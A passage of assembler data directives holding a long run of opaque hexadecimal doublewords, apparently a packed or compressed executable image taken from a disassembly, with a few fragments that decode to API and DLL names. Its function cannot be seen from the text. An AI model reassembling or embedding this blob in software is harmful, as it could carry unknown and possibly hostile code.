0DBB422CCh, 13F2794Eh, 0F76B5354h, 8610AC99h dd 0CFEB5969h, 6B26B6CEh, 4DA2F63h, 8D0729F1h, 79F3044h dd 0DBEDFD20h, 19C5AB44h, 0E0883BB8h, 25BF7D42h, 6808AFCEh dd 0E4E012DCh, 0FE7BF861h, 0B5E81C0Ch, 0CF202DA2h, 84149A3Ch dd 0D691C6B3h, 8B522EE9h, 7C1D0ABDh, 4902F08h, 0E8342172h dd 6DF8458Bh, 0A529712Bh, 5D88D779h, 87EB64B1h, 0F9C1200Dh dd 1C728D05h, 0F0456DBCh, 0F0899767h, 314C2400h, 2E112C7h dd 4AE82684h, 1F304191h, 0A6391C23h, 0C205A2CAh, 0DA095BEBh dd 591B2530h, 34545EAh, 1CB42F6h, 0F4A1C74h, 0E88584C5h dd 2E1FFEABh, 1FBFAA7h, 1AEBE055h, 59A1E2E8h, 0EEEAED4Eh dd 4D836081h, 22247ADCh, 0CC88EF9h, 0DC73EEA0h, 0C0D75CDEh dd 0A1C3CFE0h, 63456D45h, 0D09ED5FCh, 0D19488FAh, 8B1B9D14h dd 680D249Ah, 6CB539BBh, 9CDC1328h, 0A0643490h, 0A9AC9806h dd 3F25748Dh, 28270AB0h, 777179E8h, 0B35F7730h, 0B04BC2BCh dd 49E92814h, 20B5224Ch, 0DE125377h, 1308E383h, 0DB212FDBh dd 7C3C8D57h, 307C0D6h, 7488AC3h, 0D0C90224h, 0A85DFEF9h dd 88900DF5h, 0AEBEAB4Dh, 8B0AF516h, 0F7097A8Dh, 0A1ED7AD1h dd 0C9A00E3Ch, 0F2DBC48Eh, 43DE78A0h, 0D5E90EAFh, 0E6FC1604h dd 0F42D0FC8h, 81E84120h, 662A23FDh, 9491FA12h, 840F053Ah dd 7C25ABF6h, 8C035609h, 88E91A21h, 0C54EFDE8h, 9D6C9FE4h dd 484F64F0h, 7C84C9C2h, 42501837h, 35C34FFh, 2F6C48BDh dd 0E7C6CCBCh, 7FCA815h, 0AB7D800Ah, 8BB21C0Ch, 0B0B83822h dd 8B0655Bh, 0AAA526BDh, 6B207548h, 3305E7Ch, 3FF860Fh dd 0A45C3586h, 1E886C9Ah, 0AB45308Ah, 6850F7Eh, 0E3FA69DEh dd 4B0A3CCAh, 8067D5C3h, 56E8884Fh, 6960953h, 16A1A75h dd 81AC5FF4h, 8B1DCFD8h, 0C30CC475h, 0AFCC3190h, 2030EB8Dh dd 2B3D9CB7h, 638528C6h dd 86352397h, 0DE2D4199h, 87A12E08h, 463C8191h, 0A9A44513h dd 836A26F5h, 630CB338h, 4DAF1751h, 2805BAACh, 1B118475h dd 9CB6409Ch, 0C889ECBFh, 6A934F64h, 50B0F880h, 0A285EA56h dd 55F7322Fh, 0F53900E2h, 0FE43B125h, 0A0CD01B0h, 8CF8EA21h dd 2AD5A420h, 70FF887Dh, 0D139AC9Fh, 0C6CA3AC0h, 410D9409h dd 4602E4F1h, 7ACD8233h, 820315E3h, 0A0060298h, 13C64EBh dd 0E42CF576h, 0B70F1B02h, 6623E00Eh, 11F94983h, 7C46C21Ch dd 0FC44A051h, 48A4AD11h, 238829D4h, 0AEFD3993h, 761AE718h dd 0F0A23B66h, 9485BC82h, 21A046A5h, 6B1D7486h, 44462DA1h dd 0C7E8292Eh, 66744420h, 318B48D3h, 0FA839CCh, 279822Ch dd 263E984h, 85682412h, 25F7221Eh, 24580E8Ah, 33CF294Ch dd 745FACE4h, 0E78AF0D4h, 1465B024h, 4D3C2165h, 2B8EC4C8h dd 9EA9CEAh, 89983BB4h, 42B02773h, 60BCB06Eh, 8041128Ah dd 750A39FAh, 9C6D365h, 5B2240F3h, 6831088h, 60497D81h dd 0D1721283h, 2B696119h, 492544D6h, 186A5E94h, 0CA21545Bh dd 0CA941101h, 0B08A0EC5h, 533F932Bh, 837209B8h, 2B6392E9h dd 5753F09Eh, 0CA849B9Dh, 0BC113401h, 2431B299h, 0B75E1983h dd 8199B47h, 0D9F9D54h, 0C3EAFFE0h, 4007C721h, 8B5E0519h dd 89C25687h, 810A8210h, 299E64FEh, 56A3C772h, 22C82746h dd 775882FAh, 10B22FFh, 0A4409D9Ch, 62F3862Dh, 249F4516h dd 0B86585A7h, 0A5725EDBh, 53A4052Ch, 8ACB1DA1h, 6EA4CE03h dd 59DFA054h, 0A2B024C6h, 16D4A107h, 527F7B43h, 0F42BCC89h dd 0AB5B681Eh, 8C542E5h, 0E51239Ah, 0C12B4B02h, 0FFB92DDh dd 3CF41CACh, 758652ABh, 3005AAD1h, 0CC677974h, 3087C7C5h dd 3584255Fh, 451A3618h, 9EC2E790h, 9743DD7h, 58947598h dd 0EB79D47Fh, 2C694996h, 0CA471F42h, 5BDBA450h, 0DEA02628h dd 7D313645h, 944DA587h, 69E1BA51h, 959C8C07h, 0C487230h dd 88D51B4Ah, 4B212D44h, 12FB2A6Dh, 57567538h, 3F361E6Eh dd 0D207496h, 40115E8Ah, 9C3FE88Dh, 0EBE2A394h, 67D6642Bh dd 0B5592155h, 408AD827h, 809C4FA0h, 561A3827h, 0E8C54E6Ah dd 1C2D4812h, 17D6FDBDh, 0CEA4F216h, 98A1A003h, 4F50BF5Fh dd 2051421h, 9BA3E85Eh, 1811A75Dh, 847F6BE8h, 0DFB0E73Ah dd 3489BF9Eh, 1B7DD64Ch, 1E9BDF23h, 7F4921C4h, 0D553ECBAh dd 199BB6C2h, 233CDE9Ch, 0C911AA88h, 0BF4A74F8h, 961655B0h dd 0B2FCDBAFh, 0F99BC4ACh, 0E407B827h, 39D516EBh, 41B56377h dd 4D837543h, 7CAEBDE4h, 0B84B1E05h, 16CBA261h, 6405F409h dd 74411D2Fh, 8DE8612Ah, 96007CEEh, 84EA5394h, 1381AA52h dd 0C7D90C49h, 1C4118E5h, 1B8F11EBh, 14AD8D04h, 2130232h dd 83144D8Ch, 0C2046127h, 29A8D9C3h, 0E80E0215h, 82949AB7h dd 5758ABB7h, 5809CEAAh, 9A71E81Ch, 18525896h, 91A986A4h dd 0FD5EAD02h, 35FAC845h, 0D00A5E28h, 1000D40Ch, 0E0190144h dd 0D6B83840h, 1A3B01FEh, 2B60A1h, 146A569Dh, 7752D5Eh dd 0EB0C25F1h, 9D7DBC06h, 4A34585h, 82046A1Ah, 0BFB30E27h dd 2A58A388h, 0A06CB97h, 35895626h, 0F5E8051Ch, 51938EDh dd 611A6A3Ch, 0B9D233ACh, 31A85845h, 27891540h, 20FE020Ch dd 0F9BF482Fh, 1E116060h, 0FE6AEA7Ch, 0F0455E64h, 0AA8B5744h dd 9C096284h, 0C29405FFh, 0ED902A2h, 0EB503E07h, 5CC625DCh dd 89024130h, 427F9831h, 880F507Ah, 0D3A45FCEh, 1996E817h dd 83D6442h, 0E644DD14h, 17406BFCh, 6C3551FFh, 8255DEDh dd 0D0FFAC2Bh, 0F03BC1DCh, 38702272h, 77F1C040h, 2BCE8B1Ah dd 9C300F99h, 4DE85110h, 810B22FCh, 7BDE0C4Eh, 83A05998h dd 562027C6h, 71CAEA7Eh, 167D14E1h, 358A13Bh, 5161D4F8h dd 48810C25h, 1F032C49h, 20341408h, 2E912F50h, 0C14FED43h dd 503D1EB8h, 60811768h, 0B8F50C5Eh, 0D414F131h, 0A9B74545h dd 36229524h, 8A4C192Ch, 4C14F9C9h, 2F127D0Ah, 8D659768h dd 0B36B2A7Dh, 98B684BAh, 0A75FA278h, 0A13B652Dh, 0C60AA7B3h dd 9E01FE69h, 10182410h, 53B34F1Dh, 4ECFE64Bh, 0F0F00FD5h dd 78C3B5F3h, 8111A7EFh, 6E0D76FBh, 605146A3h, 0EB144C78h dd 38B0D7Fh, 81722058h, 767F03C5h, 5F468683h, 53860AE1h dd 0BB022701h, 8654A733h, 0D4BA52E5h, 1B04BF0Dh, 0FF13A15Eh dd 0E1A17134h, 1A6606C2h, 0FF3DD0F5h, 366376E0h, 180F74CEh dd 0EE570BC7h, 985850E8h, 0F709DE47h, 0EF955497h, 2F17EC6Dh dd 858BFD83h, 4A638BAAh, 406D9496h, 2818772Eh, 6A41CCE8h dd 217AAE22h, 65B1A6B9h, 983A8174h, 0E8BFE92Fh, 0AC068836h dd 0B7C7EEB6h, 4117B593h, 0E81A840Fh, 24243102h, 0CA80014h dd 56575351h, 14984F9Eh, 9F5D8912h, 28042C41h, 1473D97Ah dd 0BB81102Bh, 61336228h, 74CB924Dh, 0EB7160BDh, 0FADCB95Bh dd 4834C87Ah, 6B53C9ADh, 1AB9B814h, 10116386h, 86977DD3h dd 21D6E97Bh, 0CE6DEAh, 0FE8AE804h, 0CBD259B7h, 2D904E12h dd 6282A031h, 55CB5D79h, 0AE8934E7h, 41B71122h, 553225AEh dd 0A77EB873h, 8A062809h, 0BF43C151h, 0EA59B992h, 0EF791799h dd 28441422h, 0B0C8910h, 0A2CF0822h, 3164CCC3h, 809C90C8h dd 2FD10308h, 0FF9347EBh, 900C48D4h, 8614BC08h, 0CC81042h dd 0C760F91h, 2B4E0976h, 26D61B33h, 15DB3E0Ch, 0F70C8808h dd 6BE1DA5Eh, 0CA9BC1D2h, 0D9D1D3C9h, 545E6842h, 10BB2E1Dh dd 0B2E38520h, 5D4A21BBh, 0F9D2808h, 5D950FDFh, 0AD44C753h dd 75BE9609h, 0F593CC71h, 0A1ADA44Ch, 0A76F53EBh, 4D382231h dd 805D5673h, 0E22A533Dh, 0E045300Ah, 8B0B747Eh, 83FC7304h dd 56EB09EEh, 0AE888415h, 8A259A28h, 75131ADCh, 28BECD13h dd 0A18AF480h, 0A3E8C600h, 79878555h, 63B6864Ah, 0A64322B1h dd 29DF0FBDh, 337FAF20h, 17826FFFh, 972105F6h, 836B5601h dd 0C6370A7Eh, 0EE625DB3h, 4C155CCEh, 0F0F61622h, 232214F7h dd 57096202h, 3DFF9B29h, 538952B1h, 51B112FFh, 12D0188Bh dd 63DF6AD8h, 403E1599h, 4FB3F73Fh, 0AEB5A9F9h, 99CDE704h dd 9A5DCC0Bh, 6D48553Ch, 38388108h, 0D12EC1DDh, 3B953DA8h dd 182DE2CAh, 0E867A074h, 0A9D9712h, 4393BD38h, 8997A801h dd 7317D077h, 0A3804DE8h, 75EB58C2h, 12801D5Dh, 0BD4D5220h dd 4F8A280h, 92FA08F9h, 7F75E90Ah, 142CFC83h, 84784A97h dd 89AF50C5h, 148CE6EEh, 75F4182h, 8820024Dh, 45388500h dd 6597F4h, 149B8C2Ch, 23583FEEh, 71D30CA5h, 0DA705E49h dd 4CE2117Fh, 85C80B01h, 9750C0Dh, 0E1F7EC21h, 0D3539434h dd 9217740Ch, 0A9103E3h, 2ED3E1E1h, 0ACF8CC64h, 0BBE49F76h dd 96AC2C20h, 199288A8h, 2BA95D17h, 0F26CFDD3h, 8142432h dd 92F188FCh, 50518169h, 89D5228h, 14E80D24h, 8BE0243h dd 366B15D5h, 55FE27C5h, 0FFA0505Eh, 0B7AC5A34h, 44FCD038h dd 0A35A64A8h, 282138B6h, 9832522Dh, 7F3A75F0h, 0E2C637Ch dd 5D43B06h, 1AB2D76h, 0B30C8B32h, 0AADA5589h, 567C334Fh dd 172334ACh, 0B428441Fh, 9A64970h, 52EB5F44h, 0F15BB7B7h dd 358E6AC3h, 54644350h, 2981108Bh, 28840479h, 0B851FE61h dd 76527307h, 53087B39h, 0A741DB05h, 9A70BBECh, 0BEB29D2h dd 6C8B9409h, 2045F84Eh, 36B7943h, 58505155h, 86945D59h dd 0FF27F034h, 0E9DD7CD0h, 565994F4h, 6CEA486Ah, 0F158EAA0h dd 2BE37FC3h, 5A6879E4h dd 599B87A4h, 0E2FF3E93h, 0E65E9815h, 0A03D9C6Ch, 9515EB26h dd 0A854B65h, 131305C7h, 8CECE294h, 1D227E12h, 534067DCh dd 18603849h, 0CB3B405Ah, 83F61275h, 14BC80C9h, 487DC12Bh dd 17D0CC4h, 510CE0C6h, 76A630A1h, 0BBAB9A7Bh, 0A39627D4h dd 858439E9h, 208C59CBh, 40F69E31h, 0B5068BC9h, 457DB4FAh dd 0F06A35F0h, 303101D7h, 0DF345324h, 918EBA14h, 0C5040BE5h dd 0DB929BDFh, 0D6D6F220h, 408E6483h, 0E06A437Eh, 58D21C33h dd 72C171F7h, 3F9B2037h, 483D0825h, 12137704h, 4C114DE8h dd 74DCC463h, 48C31C5Ch, 0A2524F6Dh, 8CC0B005h, 9CD51A8h dd 4F4D3226h, 0E065A2B8h, 0FE9FC6F4h, 64DABCEBh, 574D3DA2h dd 0EE5EF6C2h, 6CEA6A67h, 0E28D27AFh, 24359208h, 21921014h dd 0C506EC96h, 0F217C88Bh, 4264A6A8h, 0F76644C1h, 32F8EFC6h dd 1C962974h, 3123B006h, 8F124D3Bh, 0F35816A7h, 39180694h dd 4090E9E1h, 457ECB20h, 0F142BEACh, 9473920h, 8F19B358h dd 38F4E510h, 0C76A0A4Dh, 0F649BE06h, 1AEB0A22h, 855B28C1h dd 0F08B42C1h, 31BAEB75h, 0F8B24153h, 52644B56h, 90228AC3h dd 7531B6A0h, 6EB0804h, 29058959h, 0C6205949h, 0D70F9D43h dd 1423EFD7h, 34795859h, 0A4D4136Bh, 9AA4E99Fh, 4BC0865h dd 14889DD5h, 53AD493Ch, 0E8CF98AAh, 0F8104A12h, 0EC1ED9F2h dd 219A213Ah, 95361601h, 0E84DA676h, 4C55B22Dh, 77E8B748h dd 0ADDF992Eh, 2CC1016Ah, 9C5020D4h, 506DA986h, 1B901722h dd 0F68FF830h, 7DC6B7E9h, 14B23D7Eh, 0E53877E0h, 79C41652h dd 58FC4B0Fh, 0C7DD12B1h, 78163707h, 158AE962h, 0FF32F891h dd 0EDAAB453h, 90E804B3h, 3499AA8Fh, 0A5224AF6h, 7268F4DDh dd 25EB8004h, 0DBB21D92h, 0A25020A9h, 0EC14DC49h, 5B6F7DE8h dd 0A87357F8h, 18DEF7B6h, 7F23F61Bh, 0FA4A69E8h, 451A3B92h dd 1865274Bh, 0C9944FAAh, 8A4B2849h, 95E8C731h, 8459EB92h dd 0C7849413h, 0FB1874B8h, 1382FF4Ah, 658DC682h, 5CB1E4E0h dd 0CD04974Dh, 98E5AE8h, 1067E5C9h, 97CA8408h, 16281619h dd 8C24550Ch, 0E80A6C1Bh, 44CEFC2Dh, 9374F720h, 0E44CE8E2h dd 0BB70A4E7h, 7A562B4Bh, 12E5981Fh, 943A75F9h, 46E705B7h dd 2BE78D56h, 0E2CA25D4h, 88703510h, 26A7834h, 15A3582Ah dd 948A0569h, 8CCF70BBh, 708EC770h, 184684E8h, 0C3BE0721h dd 10442088h, 421C0C32h, 11AB8E18h, 0D6813C1Fh, 77A6C1F0h dd 84B76634h, 102E0D96h, 7FA98909h, 0C26945F4h, 6A503FB2h dd 0B2E8E483h, 57DE8CCCh, 4C2026F5h, 126A45B9h, 5D6411DDh dd 0EF082DCAh, 3A675ACBh, 0E24DA9E8h, 0B875EB84h, 461B4C25h dd 0F51420BDh, 0CA39CD54h, 37E87350h, 25DB9B0Dh, 47241764h dd 1E93C23Bh, 2410D122h, 0E8CA5F0Ch, 1249AC5Dh, 7E7F6A1Dh dd 6D0C13D2h, 15B4510Eh, 0F4EBAD94h, 3F44924h, 6A8D8708h dd 0B7EC10FBh, 102B8C94h, 248895CFh, 2156F86Ah, 1C11FE1Ah dd 1A64FBF4h, 12084ECh, 0E86740B7h, 10D5DA1Dh, 56159B61h dd 0D546E08h, 5F01008h, 21147886h, 0BF208CFDh, 3608F550h dd 0FAAEEFEh, 53E69F61h, 0DEC22408h, 0D6E12819h, 0CEF02C0Ch dd 43307886h, 21343CC6h, 541FA8BEh, 0F03808B6h, 3C7886AEh dd 9E03A645h, 0F6167340h, 4413A99Bh, 85293E1h, 2756E248h dd 83844C08h, 7BD10A35h, 10549E08h, 858CF73h, 845C676Bh dd 0C2603363h, 0E164195Bh, 0F0680C53h, 6C78864Bh, 703C4343h dd 749E3B21h, 78CF3310h, 7C672B08h, 83742385h, 446589EFh dd 0D4161E00h, 0A210B84h, 509E8890h, 448C888Bh, 119032F4h dd 84940CE9h, 9821DE43h, 9CC8D310h, 0A032C844h, 0A40CBD11h dd 21B24384h, 64A711A8h, 0E7BE2CF8h, 357875B8h, 53B0605h dd 33AB1248h, 56EC89F8h, 4CCC22FBh, 0D771299h, 35CF832Bh dd 0A1252E5h, 21126522h, 5E7E4640h, 8E540C40h, 46194843h dd 1C582410h, 14408C36h, 24468E5Ch, 60471820h, 1C408C77h dd 18E18E64h, 1C688120h, 518A42EEh, 6C8902F9h, 868ADC38h dd 10B8CC4Ah, 0C04E60A9h, 4F015053h, 0A04A86FDh, 0A5B026Ch dd 0C22E78A9h, 4AB0110h, 7AF1EB24h, 0FFC66212h, 0F02BD31h dd 1BA4068Ah, 2A308C6h, 0C18BEE73h, 0BDEB2EAh, 82FC5021h dd 0C4924AFh, 8D14F128h, 934AFF46h, 4A97386Ch, 0C9A8892h dd 8AF480h, 54841455h, 1E751D01h, 4AE1E4BDh, 9AC9A12h dd 55104523h, 92038CB1h, 0B5A7400Ch, 1BDD04CBh, 0E80C1E26h dd 0B9C42DA0h, 45EBC4B7h, 2BA5EDE7h, 53A05F24h, 2E7604CFh dd 0A958E06Ah, 0DCCD7BBBh, 0E06F881Bh, 885BE243h, 0CCD7C0A9h dd 9743CE27h, 0D5E9C262h, 4DAF7782h, 0C5F19685h, 0F7E90E1Eh dd 46F6EA98h, 40C27E97h, 6977E0FEh, 4B433995h, 12BADC44h dd 506886B7h, 50B8395h, 772B1794h, 1CFFC137h, 57342A9Ah dd 4A5D67B4h, 0B2B3E9A2h, 9017135Fh, 0E425DF3Bh, 0C27784BFh dd 4518886h, 61E22237h, 0C6DD756h, 2BD88B8Ch, 3D392F4Ch dd 7489B7FCh, 0E9DE0233h, 65742BA7h, 67E27292h, 0C72F5248h dd 0C368A15Ch, 5F45E9C3h, 10841717h, 0C2118247h, 7FC33298h dd 7428A20Dh, 0DF249206h, 0A4F8BA02h, 42F8DA09h, 0C4A63E60h dd 17B4985Dh, 210E75DBh, 8B835AA7h, 6ACCE96Dh, 6FE4DDECh dd 8A9E42E9h, 8AB7262Ch, 0FC35F53Bh, 25FE1B93h, 8D0C5FBBh dd 891D8A87h, 5B9929E3h, 0A1989E4Ah, 9E1A9E48h, 33E6FFE9h dd 0DEB9494Fh, 0F99E7113h, 2205C9B5h, 8235EB4Ch, 4CA13ED4h dd 27A4881Fh, 0FC43128Bh, 230FAE48h, 21251D02h, 94E8E4FBh dd 45A08F56h, 7D9FB348h, 1821D469h, 75F49A39h, 6948450h dd 84527B55h, 9A5756C4h, 2154423Dh, 9405120h, 11E01292h dd 14244DA4h, 152E5197h, 3173C8BEh, 4601F8A8h, 7C2D55A5h dd 0D6762D6Ch, 4BA0707Ah, 44DBF512h, 5CF54435h, 0F4C34F97h dd 35F14F90h, 85ABBFCDh, 792C90ACh, 0D237A647h, 8679E3BFh dd 3CD20A4Ah, 4AE5FD6Ch, 1272B9Ah, 5FEB06F9h, 22833C42h dd 259054E8h, 0AC936874h, 8A71EB0Ah, 0C15C8168h, 39567562h dd 34695205h, 1BA5D402h, 8E481FDAh, 564CCD76h, 0C559CEF1h dd 0CBBB8608h, 5247DD0h, 37BBF3A3h, 0E97270F5h, 0E4D15D7Ch dd 0E79F161Fh, 79D7DEAFh, 0DD1AFA9Eh, 6FD219E1h, 7C870EE3h dd 0FD0D645Bh, 537316E2h, 0BEF60713h, 0EC56D54Eh, 0F4C6B27Fh dd 74010517h, 9E92AB35h, 0DA6E7F30h, 0CB2B1D1Fh, 6E49104Eh dd 13947E08h, 0EBF41EBAh, 0AAF50A33h, 0D6F60603h, 6A848C45h dd 0BC060C83h, 27E05AB0h, 8A855A65h, 7F6D28D4h, 2DE3184Fh dd 574CA4Fh, 8556E817h, 3BCF89ACh, 7DFDF410h, 73C22288h dd 5661D41Ah, 97A4037Bh, 0E824750Ah, 301D5716h, 5384FCCBh dd 93296E9Eh, 12CEBAF1h, 808423BCh, 0A19944E7h, 2DB0A913h dd 0F70E49C7h, 4A419A3Eh, 15F32E6h, 75085E7Ch, 0AA042F36h dd 0EC52963Ah, 1A10406Ah, 88BDE59Dh, 9CBC01Eh, 0DCDF2930h dd 515E24C0h, 15391330h, 5D1D7424h, 2A76D94Fh, 0CE9739Dh dd 0A9D0653Fh, 0A15911C5h, 0B188D068h, 3394FCCDh, 0B115560h dd 17099E6h, 778A2C08h, 42B4EA1Eh, 2C91D74Bh, 24142D90h dd 5408974Eh, 124E2813h, 0E01BE805h, 0DA2A15Ch, 86A3AFDFh dd 12B60D66h, 855670EBh, 88EDEC82h, 80158B08h, 67BB1955h dd 793C68A0h, 2DDB5B02h, 5589DD5Ah, 0E1441750h, 0F1C62E23h dd 0FD2BED67h, 0FD84226Ah dd 0D4C627Ah, 9FF45DA9h, 55AEA318h, 505228F0h, 38516529h dd 27AFB388h, 8A0E18Eh, 5E813E68h, 698320E8h, 5C71A3Fh dd 0F1317FA6h, 27786AE3h, 2E134874h, 0B50EEA7Eh, 0A9B5C7C3h dd 52668B1Bh, 0C4D1BF29h, 9E05A25h, 8C60E8F0h, 758AFEFBh dd 0DF49231Fh, 0EB67503h, 47BF4E7Bh, 587AA5D8h, 2F5CA4Bh dd 4B5636AFh, 4C27EA1Fh, 757D6E36h, 0F5AC8866h, 7E01AF80h dd 4D392500h, 33207C10h, 8E6C1D2h, 6AC2950Fh, 400D5F14h dd 919F09E7h, 0BC4DF0AAh, 0CA885DA2h, 82333B4Ah, 5E382072h dd 8A1BF561h, 10808BCFh, 6512E62Ch, 8C98E352h, 195961E9h dd 6A828AE8h, 8D696D74h, 3A464D6Fh, 5D95043Fh, 6A50916Ah dd 6E234CB7h, 250E084Bh, 6ABAEB07h, 0E899F409h, 0DAE80404h dd 7FD9B6FEh, 0AE916F98h, 959EEB0Dh, 806F9229h, 0D993AC84h dd 5F03EC8Eh, 3B4170EDh, 1CD73D5Bh, 0C4C05784h, 0B702E6C1h dd 0A9600592h, 74261839h, 1826EC44h, 0D5830C09h, 4CEB040h dd 4B6E5981h, 0ACF603E7h, 7C148ABBh, 92A42728h, 0FDB30616h dd 122F8A7Fh, 0E8063461h, 59CD5288h, 1C890EA3h, 0EE5B47F3h dd 0A71177DFh, 4F85449Eh, 53E59245h, 0F94E0569h, 0AB248E0h dd 0A103E180h, 48F9A63Ah, 0A9663F02h, 39324108h, 94502ABBh dd 0C02B5D3Eh, 662C7E1Eh, 39752C3Dh, 98D6368h, 0C6E578h dd 0F75C718h, 77C0846Fh, 31EB9879h, 0EB1489FDh, 3AF23B07h dd 3715CB2Eh, 0E866B573h, 5E061E90h, 50ACC397h, 9C0975A1h dd 0E42D3384h, 1212D641h, 0CBE0FCEEh, 77D51A05h, 40831AEBh dd 303614EBh, 52C4C73Bh, 9F71EF5Bh, 1EDEA2EAh, 1EAF0934h dd 12E791D5h, 28EA9DA8h, 0C1A9DC62h, 16A40966h, 0FBF617A2h dd 61F28556h, 858D0F12h, 0A00B679Ah, 3839B004h, 455E7424h dd 0C05C56E5h, 9871E7D1h, 0B4C1B538h, 254027FCh, 0CA9DEB0h dd 2F3EC1F6h, 1855392Eh, 6A00892Fh, 1E69999Eh, 3919EB10h dd 142C7D66h, 84024840h, 6B1B358Ah, 45092B01h, 0E8ED8CDCh dd 2746D508h, 0C22484EBh, 0B07D9CE0h, 644FCAC8h, 2D758AC3h dd 92E6D112h, 0BD795401h, 0E8DC0A60h, 7E939D29h, 4C90D108h dd 9FF1F13h, 0FAA50069h, 0B08A0D2h, 38B8055h, 74C91BC1h dd 0E959130Bh, 72D6844Ah, 45140716h, 63CD6B34h, 6A854B63h dd 68C78806h, 249D10FEh, 63FD080Dh, 0A02E1F48h, 426DCA28h dd 1F830AEBh, 0EBFE55E8h, 44621BBEh, 3452167Fh, 46BE9247h dd 12184D1Fh, 6714D840h, 0DED00E53h, 12D55609h, 0A7FA7576h dd 4DF80CFEh, 65B9CC4Dh, 4D82D406h, 9F91775Fh, 1EFC1480h dd 0D62C9659h, 251D9680h, 0F97C101Ah, 58D1B04Eh, 77BCB483h dd 4B743398h, 7F4513A9h, 0C8EC7184h, 0DCD42450h, 0F0373779h dd 8E98E8D8h, 5980E096h, 7EF73B46h, 0FE81255Bh, 5340AE64h dd 2F388E36h, 0FFFE9CE8h, 74C71162h, 572DC738h, 0D2DC701Ch dd 2E85A577h, 0F22BFDB1h, 162F494Ah, 72A2D1E9h, 697A3F10h dd 6481D35Ch, 3D0C52E4h, 4C740639h, 36251ED8h, 0E607DEAh dd 0ECB57EE0h, 4F18D0CCh, 7FAD41F4h, 68CC5D8Bh, 691D28F7h dd 22531C28h, 460C13C9h, 603FCB3Dh, 0EBE0C101h, 0D49C945Bh dd 211241EFh, 47936929h, 9904326h, 2E563C74h, 8BD20AE2h dd 7464E869h, 5047CA2Bh, 2E4F5325h, 0E8E0C941h, 4B157ED4h dd 885FEB52h, 17268594h, 0D07E7C28h, 129F0152h, 0DAF2E965h dd 528DE01Eh, 84CDB2C0h, 0BA247D92h, 2A030023h, 75F06807h dd 0E41C2740h, 0E82036DAh, 49A34AD0h, 3A6EC3D7h, 22BA564Bh dd 0AB5574D5h, 8E6EDE2Ch, 1994A1D6h, 5EA21290h, 0DBAA05EEh dd 46A0BE6Ah, 7D79E81Ch, 620B5B97h, 0B188C65h, 42EB0BC3h dd 4F2446F6h, 0B4E9C737h, 836E1AFBh, 620351B9h, 0E4821C40h dd 7827B9C4h, 0C3D35602h, 9513057Dh, 91BB11EBh, 9A0A74ACh dd 7A1F432h, 6EC7EE0h, 0E5F1B70Ch, 0E8C4A425h, 0D6D2D522h dd 787A4D6Bh, 21754212h, 7C284FF7h, 858BE3F0h, 4A830C95h dd 4C054AB1h, 99D8CF91h, 37810514h, 9F0DD9E3h, 36EF2F14h dd 0EB0544C1h, 36BFD56Ch, 75E3587Ch, 0CF6810C7h, 52D4F97Bh dd 138F45ADh, 0AE7C87A4h, 84AA3D3Ch, 54D08997h, 711A5134h dd 3B211D6Eh, 0AC5267CCh, 0D0EB2591h, 3C913671h, 0E240FE2h dd 4B02C632h, 0A5EF51F7h, 65A0572h, 0E931810Bh, 2BF2C568h dd 9878BC85h, 0EE950B9Dh, 10A5915Ch, 1981735Dh, 0A2E9BB46h dd 7BEFC3F4h, 9F7B525Ch, 0B84AACD2h, 169847D4h, 0B1F6F781h dd 53306648h, 0C90B1072h, 20957475h, 0B70C7DDAh, 5AB30941h dd 0F85220B6h, 0E40A261Dh, 27740704h, 2322EAA8h, 3A0760B5h dd 6723AE7h, 277E30Eh, 725FE62Fh, 0C627C315h, 9105E0A5h dd 0AA80E983h, 0D3C933D1h, 0B9440D16h, 272CCDBh, 8BD9F701h dd 5F5E5BC1h, 0C609663Ah, 0C48ACB98h, 5885C47Dh, 487CCF4Dh dd 758201A1h, 9B43F606h, 0FE267BDEh, 16344702h, 16E00BBBh dd 0D92056D8h, 8BECEFF5h, 0F39F98F8h, 74190B66h, 0F2C47A1Ch dd 0D046014Ch, 0C6270A23h, 253CC850h, 0C7F059A7h, 7F4CEB85h dd 44C6590Fh, 0FE245C30h, 0FB0D1224h, 1025817Ah, 48A5CD3Eh dd 218428D6h, 1B669783h, 337A5BC8h, 3CC4A992h, 0A28E4BE9h dd 7A9BB11Bh, 1EEF810Ch, 0EB896D10h, 0FFF5660Eh, 0A0EA231h dd 0FED30990h, 0FEB8CB0h, 7A4926F6h, 4712E8C2h, 0F5BF1297h dd 0FFA493B8h, 6BC3C294h, 899FA71Eh, 6065DA1Ah, 668183B0h dd 59B5F70Ch, 6AA3211h, 28DAE3FFh, 0FEF90406h, 7F7C5D25h dd 0FBAB0143h, 40EE0983h, 91EDF581h, 0CB22E308h, 89A7BB44h dd 24831295h, 915D486Dh, 44332245h, 0FD880D23h, 12EB81ECh dd 892926DDh, 110AE99Dh, 91D1999h, 2443122Dh, 91654853h dd 4489227Dh, 0B389A397h, 90F2DD11h, 0BF33EB89h, 922A911h dd 77894499h, 55126589h, 33484524h, 0CF51E199h, 22C10991h dd 879744ADh, 61127989h, 41484D24h, 21222F91h, 40FD1344h dd 0D789EDEAh, 0CF26CD12h, 11C56491h, 68114A1Dh, 8364B422h dd 0A1488F09h, 0C722B591h, 89E9D744h, 0EF0F11FBh, 49242B02h dd 75915D48h, 0A5448D22h, 12C389B3h, 48DF24D1h, 10F991EDh dd 1722F009h, 89312344h, 2453123Bh, 91794863h, 44AB2291h dd 0E389D7BBh, 0F924EF12h, 79F10546h, 913109C8h, 44632249h dd 0A5899379h, 0CD24B312h, 0EF91DD48h, 782AFF21h, 9F805549h dd 0D04C72D2h, 89130910h, 240F1202h, 0CE89C12h, 910909C8h dd 446E2203h, 1891408h, 96241112h, 33910A48h, 58821622h dd 0D108284Dh, 75120860h, 8862A08h, 2E089B3Ch, 8B7B0BA5h dd 0D4897CE5h, 0A50825C1h, 43B08CF2h, 4507726Fh, 50746978h dd 6563036Fh, 75208E73h, 24BDF16Dh, 642E1C7Bh, 778786Ch dd 69746E75h, 0FF20D76Dh, 6CE73C3Bh, 81A80D38h, 4F384C54h dd 4112D253h, 49E8C30Fh, 0B887474Eh, 4D4F4406h, 12852641h dd 30365201h, 12813433h, 61206E41h, 696CC470h, 0A4CC6376h dd 0FA68186Fh, 0F66DE873h, 0F3B6DF64h, 8F8F7431h, 0FBBE708Eh dd 6C396FBFh, 681028ECh, 0D5432ECFh, 6266997Ch, 79F561EDh dd 98FAE7E3h, 74EA99A0h, 2E1D6C7Ch, 0ED7C500Ah, 24B73882h dd 14248D48h, 275E2C32h, 759BB8DCh, 355E6C1Eh, 66FA6D50h dd 5BB5BDABh, 177A89D5h, 592E24A9h, 0C6A019AEh, 41202D01h dd 7532874Eh, 0D9864DB9h, 0A389C34Ch, 